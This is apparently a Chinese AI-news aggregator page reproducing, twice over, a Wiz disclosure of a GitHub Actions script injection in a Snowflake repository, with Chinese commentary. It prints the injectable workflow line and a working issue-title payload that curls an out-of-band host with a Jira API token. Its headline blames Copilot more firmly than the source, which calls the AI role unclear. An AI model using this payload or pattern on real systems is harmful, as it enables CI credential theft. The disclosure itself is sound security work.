AIHOT 于 2026-08-17 收录了“AI 生成的 GitHub Copilot“自动修复”功能导致 Snowflake 的 Jira 系统遭到入侵”这一公开动态。以下先呈现从来源页面抓取的正文，再给出 AIHOT 摘要与 TopoReduce 编辑解读。
PUBLIC SOURCE CONTENT
已抓取公开正文公开原文内容
Red Agent Exploits Snowflake Vuln Missed by Github Copilot | Wiz Blog
Wiz
PricingGet a demo
Get a demo
As part of ongoing security research conducted through Snowflake’s HackerOne vulnerability disclosure program, Wiz Research’s "Red Agent"—an autonomous, AI-powered security research tool—identified a critical GitHub Actions workflow vulnerability in one of Snowflake’s public repositories.
This incident highlights a new reality in software development: Critical vulnerabilities can still be introduced and approved within workflows involving AI coding agents and can still pass established automated security checks, while autonomous AI security agents can rapidly discover and exploit them in the wild.
Upon responsible disclosure on June 23, 2026 by Wiz, Snowflake remediated the vulnerability on the same day, rotated the affected credential, and verified via detailed audit logs that Wiz was the sole actor during the exposure window. Wiz confirmed that all data accessed during proof-of-concept testing was securely deleted.
August 17, 2026, 1957 UTC update: This blog has been updated to clarify that Copilot was a co-author that checked the merged PR and code change, and identified it as all-clear without noticing the critical vulnerabilities. It's unclear whether the code-change was AI-assisted.
Executive Summary
Wiz Red Agent identified a script injection vulnerability in snowflakedb/snowflake-connector-net. The issue allowed an unauthenticated user to execute arbitrary commands within a GitHub Actions runner by opening a GitHub issue with a specially crafted title.
Crucially, the vulnerability became live on June 18, 2026 - just five days before its discovery - when PR #1218 was merged. GitHub Advanced Security scan analyzed the final PR revision, including the vulnerable workflow, but did not flag the critical injection.
Screenshot demonstrating access to Snowflake's Jira portal, via an exfiltrated token
Exposure Walk-Through
Discovery
Wiz Red Agent's CI/CD capability scanned Snowflake's GitHub organization and flagged the jira_issue.yml Workflow in snowflakedb/snowflake-connector-net as vulnerable to script injection via untrusted input in run: blocks.
The Code Change
- env:
- ISSUE_TITLE: ${{ github.event.issue.title }}
- run: jq -n --arg title "$ISSUE_TITLE" ...
+ run: TITLE=$(echo '${{ github.event.issue.title }}' | sed ...)
The workflow triggered on issues: opened - meaning any GitHub user could fire it by opening an issue - and interpolated the attacker-controlled issue title directly into a shell script:
run: | TITLE=$(echo '${{ github.event.issue.title }}' | sed 's/"/\\"/g' | sed "s/'/\\\'/g")
The sed escaping runs after GitHub's template expansion, a single quote in the title breaks out of echo '...' and allows arbitrary command execution.
The injectable pattern was added to jira_issue.yml in commit 094038e and became live when PR #1218 was squash-merged as commit 4a1b8ce (PR #1218: “SNOW-2069227: Update jira workflows”). Copilot Autofix’s documented contribution was a separate fix to jira_close.yml within the same PR. GitHub Advanced Security’s scan explicitly extracted the vulnerable jira_issue.yml workflow but did not flag the injection. The merged PR removed the repository’s existing safe env: and jq pattern and replaced it with direct ${{ github.event.issue.title }} interpolation, creating the injection vector.
The commit introducing the vulnerable pattern
The code change introducing the vulnerable pattern
The Open “Security Gate”
The workflow had an if: condition that appeared protective:
if: (github.event_name == 'issues' && github.event.pull_request.user.login != 'whitesource-for-github-com[bot]')
However, on issues events, github.event.pull_request is always null.
So the condition reduces to (null != 'whitesource-for-github-com[bot]'). This is always true, and every GitHub user passes the gate.
The Open “Security Gate”
Exploitation
We crafted an issue title that, after template expansion, breaks out of the echo string and exfiltrates the Jira credentials via an out-of-band callback:
Crucially, when Red Agent’s cicd capability initially attempted exfiltration using a standard comment character (#), the runner returned a bash syntax error because the comment consumed the closing parenthetical of TITLE=$(...). Rather than stopping or failing, Red Agent:
- autonomously analyzed the syntax execution error
- adjusted its payload to use ; echo ' to properly close the shell block, and
- successfully received the out-of-band callback
' ; curl -s "https://subdomain.oast.me?t=`printf %s $JIRA_API_TOKEN|base64 -w0`&e=`printf %s $JIRA_USER_EMAIL|base64 -w0`&u=`printf %s $JIRA_BASE_URL|base64 -w0`" ; echo '
Within seconds, our listener received the callback from a GitHub Actions runner (Azure IP 20.106.182.197) containing base64-encoded credentials.
The POC PR with payload in the Issue titleNote: Our first attempt used # to comment out the rest of the line, which caused an unexpected EOF bash error because it also ate the closing ) of TITLE=$(...). The fix was using ; echo ' to properly close the shell syntax.
The workflow log showing successful exploitation
The exfiltrated token linked to qa@snowflake.netThe exfiltrated token authenticated as qa@snowflake.net to snowflakecomputing.atlassian.net, granting read access across Snowflake's engineering, security compliance, and bug bounty tracking projects.
Remediation & Forensics
- Same-Day Patching: Snowflake patched the workflow on June 23, 2026 (1dc7766, PR #1402), fully restoring the safe env: variable and jq --arg parsing pattern.
- Credential Revocation: The JIRA token in question was revoked and rotated.
- Forensic Verification: Comprehensive audit log analysis confirmed that no external third parties accessed the endpoint during the 5-day exposure window. All anomalous queries were strictly matched to Wiz's testing IPs.
Key Takeaways
- AI Code Generation Demands Rigorous Oversight: AI coding tools predict code based on probabilistic patterns, which can inadvertently reintroduce deprecated or insecure shell patterns. AI-generated PRs must undergo the same static analysis and security scrutiny as human code.
- Collapsing Discovery Windows: The vulnerability was live for only five days before an automated agent discovered and validated it. Security operations must adapt to a landscape where automated discovery occurs in hours, requiring rapid patch cycles and short-lived credentials.
- Preventing CI/CD Security Regressions: Security intent can be lost when safer code patterns are not explicitly enforced. In this incident, the merged PR removed a safe env: + jq parsing pattern and replaced it with direct string interpolation, while the existing security solution failed to flag the resulting injection that led to the exposure.
Disclosure Timeline
- June 18, 2026 - The vulnerability became live when PR #1218 was merged.
- June 23, 2026 - Wiz identified, exploited, and reported vulnerability to Snowflake via HackerOne (report #3819931)
- June 23, 2026 - Slack notification sent to Snowflake security team
- June 23, 2026 (same day) - Snowflake patches the vulnerable script-injection workflow (commit 1dc7766, PR #1402), restoring the safe env: + jq --arg pattern.
- June 24, 2026 - Jira token rotated
- July 25, 2026 - Public disclosure deadline (30 days after the June 25 resolution, per Snowflake’s disclosure policy)
Snowflake’s Response
Snowflake appreciates Wiz's responsible reporting of and collaboration around these findings through our vulnerability disclosure and bug bounty program, HackerOne. Wiz Research reported a security vulnerability in one of Snowflake's public GitHub repositories. The disclosure was received on June 23, 2026, and it was immediately investigated and remediated, and our investigation found no evidence of unauthorized access. Protecting our systems remains a top priority, and we remain committed to continually strengthening our software development and security practices. We are working together with Wiz to share these learnings with the broader industry to encourage widespread adoption of these security best practices.
Tags
#Research#AI#Wiz Agents
Continue reading
The Closed Loop Remediation Playbook with Wiz
+3
Eyal Golombek, Guy Mast, Erez Talgam and 3 more
August 17, 2026
Start your path to a self-healing cloud today, with Wiz Workflows now GA and Remediation and Response in public preview.
Wiz on Wiz: How the Wiz FinOps Team Uses Wiz Cloud Cost
+2
Ron Tzrouya, Guy Aharon, Noa Manor and 2 more
August 14, 2026
Powering cost investigation and optimization with deep cloud context
Securing Data in the AI era
Snegha Ramnarayanan, Shachar Horvitz, Noa Azaria, Chad Knipschild
August 14, 2026
AI is changing the context around data risk, making it critical to understand what’s connected, what’s exposed, and why.
Get a personalized demo
Ready to see Wiz in action?
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management
Get a demo
PricingGet a demo
Get a demo
As part of ongoing security research conducted through Snowflake’s HackerOne vulnerability disclosure program, Wiz Research’s "Red Agent"—an autonomous, AI-powered security research tool—identified a critical GitHub Actions workflow vulnerability in one of Snowflake’s public repositories.
This incident highlights a new reality in software development: Critical vulnerabilities can still be introduced and approved within workflows involving AI coding agents and can still pass established automated security checks, while autonomous AI security agents can rapidly discover and exploit them in the wild.
Upon responsible disclosure on June 23, 2026 by Wiz, Snowflake remediated the vulnerability on the same day, rotated the affected credential, and verified via detailed audit logs that Wiz was the sole actor during the exposure window. Wiz confirmed that all data accessed during proof-of-concept testing was securely deleted.
August 17, 2026, 1957 UTC update: This blog has been updated to clarify that Copilot was a co-author that checked the merged PR and code change, and identified it as all-clear without noticing the critical vulnerabilities. It's unclear whether the code-change was AI-assisted.
Executive Summary
Wiz Red Agent identified a script injection vulnerability in snowflakedb/snowflake-connector-net. The issue allowed an unauthenticated user to execute arbitrary commands within a GitHub Actions runner by opening a GitHub issue with a specially crafted title.
Crucially, the vulnerability became live on June 18, 2026 - just five days before its discovery - when PR #1218 was merged. GitHub Advanced Security scan analyzed the final PR revision, including the vulnerable workflow, but did not flag the critical injection.
Screenshot demonstrating access to Snowflake's Jira portal, via an exfiltrated token
Exposure Walk-Through
Discovery
Wiz Red Agent's CI/CD capability scanned Snowflake's GitHub organization and flagged the jira_issue.yml Workflow in snowflakedb/snowflake-connector-net as vulnerable to script injection via untrusted input in run: blocks.
The Code Change
- env:
- ISSUE_TITLE: ${{ github.event.issue.title }}
- run: jq -n --arg title "$ISSUE_TITLE" ...
+ run: TITLE=$(echo '${{ github.event.issue.title }}' | sed ...)
The workflow triggered on issues: opened - meaning any GitHub user could fire it by opening an issue - and interpolated the attacker-controlled issue title directly into a shell script:
run: | TITLE=$(echo '${{ github.event.issue.title }}' | sed 's/"/\\"/g' | sed "s/'/\\\'/g")
The sed escaping runs after GitHub's template expansion, a single quote in the title breaks out of echo '...' and allows arbitrary command execution.
The injectable pattern was added to jira_issue.yml in commit 094038e and became live when PR #1218 was squash-merged as commit 4a1b8ce (PR #1218: “SNOW-2069227: Update jira workflows”). Copilot Autofix’s documented contribution was a separate fix to jira_close.yml within the same PR. GitHub Advanced Security’s scan explicitly extracted the vulnerable jira_issue.yml workflow but did not flag the injection. The merged PR removed the repository’s existing safe env: and jq pattern and replaced it with direct ${{ github.event.issue.title }} interpolation, creating the injection vector.
The commit introducing the vulnerable pattern
The code change introducing the vulnerable pattern
The Open “Security Gate”
The workflow had an if: condition that appeared protective:
if: (github.event_name == 'issues' && github.event.pull_request.user.login != 'whitesource-for-github-com[bot]')
However, on issues events, github.event.pull_request is always null.
So the condition reduces to (null != 'whitesource-for-github-com[bot]'). This is always true, and every GitHub user passes the gate.
The Open “Security Gate”
Exploitation
We crafted an issue title that, after template expansion, breaks out of the echo string and exfiltrates the Jira credentials via an out-of-band callback:
Crucially, when Red Agent’s cicd capability initially attempted exfiltration using a standard comment character (#), the runner returned a bash syntax error because the comment consumed the closing parenthetical of TITLE=$(...). Rather than stopping or failing, Red Agent:
- autonomously analyzed the syntax execution error
- adjusted its payload to use ; echo ' to properly close the shell block, and
- successfully received the out-of-band callback
' ; curl -s "https://subdomain.oast.me?t=`printf %s $JIRA_API_TOKEN|base64 -w0`&e=`printf %s $JIRA_USER_EMAIL|base64 -w0`&u=`printf %s $JIRA_BASE_URL|base64 -w0`" ; echo '
Within seconds, our listener received the callback from a GitHub Actions runner (Azure IP 20.106.182.197) containing base64-encoded credentials.
The POC PR with payload in the Issue titleNote: Our first attempt used # to comment out the rest of the line, which caused an unexpected EOF bash error because it also ate the closing ) of TITLE=$(...). The fix was using ; echo ' to properly close the shell syntax.
The workflow log showing successful exploitation
The exfiltrated token linked to qa@snowflake.netThe exfiltrated token authenticated as qa@snowflake.net to snowflakecomputing.atlassian.net, granting read access across Snowflake's engineering, security compliance, and bug bounty tracking projects.
Remediation & Forensics
- Same-Day Patching: Snowflake patched the workflow on June 23, 2026 (1dc7766, PR #1402), fully restoring the safe env: variable and jq --arg parsing pattern.
- Credential Revocation: The JIRA token in question was revoked and rotated.
- Forensic Verification: Comprehensive audit log analysis confirmed that no external third parties accessed the endpoint during the 5-day exposure window. All anomalous queries were strictly matched to Wiz's testing IPs.
Key Takeaways
- AI Code Generation Demands Rigorous Oversight: AI coding tools predict code based on probabilistic patterns, which can inadvertently reintroduce deprecated or insecure shell patterns. AI-generated PRs must undergo the same static analysis and security scrutiny as human code.
- Collapsing Discovery Windows: The vulnerability was live for only five days before an automated agent discovered and validated it. Security operations must adapt to a landscape where automated discovery occurs in hours, requiring rapid patch cycles and short-lived credentials.
- Preventing CI/CD Security Regressions: Security intent can be lost when safer code patterns are not explicitly enforced. In this incident, the merged PR removed a safe env: + jq parsing pattern and replaced it with direct string interpolation, while the existing security solution failed to flag the resulting injection that led to the exposure.
Disclosure Timeline
- June 18, 2026 - The vulnerability became live when PR #1218 was merged.
- June 23, 2026 - Wiz identified, exploited, and reported vulnerability to Snowflake via HackerOne (report #3819931)
- June 23, 2026 - Slack notification sent to Snowflake security team
- June 23, 2026 (same day) - Snowflake patches the vulnerable script-injection workflow (commit 1dc7766, PR #1402), restoring the safe env: + jq --arg pattern.
- June 24, 2026 - Jira token rotated
- July 25, 2026 - Public disclosure deadline (30 days after the June 25 resolution, per Snowflake’s disclosure policy)
Snowflake’s Response
Snowflake appreciates Wiz's responsible reporting of and collaboration around these findings through our vulnerability disclosure and bug bounty program, HackerOne. Wiz Research reported a security vulnerability in one of Snowflake's public GitHub repositories. The disclosure was received on June 23, 2026, and it was immediately investigated and remediated, and our investigation found no evidence of unauthorized access. Protecting our systems remains a top priority, and we remain committed to continually strengthening our software development and security practices. We are working together with Wiz to share these learnings with the broader industry to encourage widespread adoption of these security best practices.
Tags
#Research#AI#Wiz Agents
Continue reading
The Closed Loop Remediation Playbook with Wiz
+3
Eyal Golombek, Guy Mast, Erez Talgam and 3 more
August 17, 2026
Start your path to a self-healing cloud today, with Wiz Workflows now GA and Remediation and Response in public preview.
Wiz on Wiz: How the Wiz FinOps Team Uses Wiz Cloud Cost
+2
Ron Tzrouya, Guy Aharon, Noa Manor and 2 more
August 14, 2026
Powering cost investigation and optimization with deep cloud context
Securing Data in the AI era
Snegha Ramnarayanan, Shachar Horvitz, Noa Azaria, Chad Knipschild
August 14, 2026
AI is changing the context around data risk, making it critical to understand what’s connected, what’s exposed, and why.
Get a personalized demo
Ready to see Wiz in action?
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management
Get a demo
AIHOT 摘要
一个由 AI 生成的修复方案在 Snowflake 公共仓库中引入了工作流注入漏洞，并在数天内被 Wiz Red Agent 发现。该漏洞导致 Snowflake 的 Jira 系统遭到入侵。Wiz Red Agent 已发布完整研究分析。
为什么值得关注
Copilot 自动修复在公开仓库引入工作流注入缺陷，提示自动生成的代码变更和外部输入一样需要纳入安全审计范围。
工程化解读
从 TopoReduce 的工程视角看，这条信息属于“论文与研究”主题。它的价值不只在于一个新产品或新观点本身，还在于说明 AI 系统正在如何影响模型接入、智能体协作、研发流程、基础设施和团队决策。实际采用前，应结合原文确认版本、适用范围、价格和运行条件。
- 发布时间：2026-08-17；AIHOT 分类：论文与研究。
- AIHOT 标签：
- AIHOT 判断：Copilot 自动修复在公开仓库引入工作流注入缺陷，提示自动生成的代码变更和外部输入一样需要纳入安全审计范围。
- AIHOT 评分：59；评分用于站内排序，不等同于独立评测结论。
TopoReduce 编辑观察
当 AI 动态进入真实生产环境，团队需要同时关注能力边界、数据来源、调用成本、权限控制和可回滚性。把单条新闻放回完整工程链路中阅读，比只看标题更有助于判断它是否适合自己的产品和工作流。